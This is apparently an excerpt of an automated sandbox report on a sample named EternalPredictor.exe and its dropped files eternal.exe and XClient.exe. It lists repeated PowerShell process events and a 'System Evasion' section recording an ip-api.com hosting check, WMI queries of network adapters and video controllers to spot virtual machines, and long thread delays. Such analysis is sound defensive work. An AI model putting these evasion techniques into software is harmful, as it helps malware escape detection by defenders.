Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : ASSOCIATORS OF {Win32_NetworkAdapter.DeviceID="1"} WHERE ResultClass=Win32_NetworkAdapterConfiguration
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapterSetting where Element="Win32_NetworkAdapter.DeviceID=\"1\""

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\EternalPredictor.exe	Memory allocated: 1FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\EternalPredictor.exe	Memory allocated: 1BCF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Memory allocated: 1AE80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1AE10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1500000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 16E0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\EternalPredictor.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eternal.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
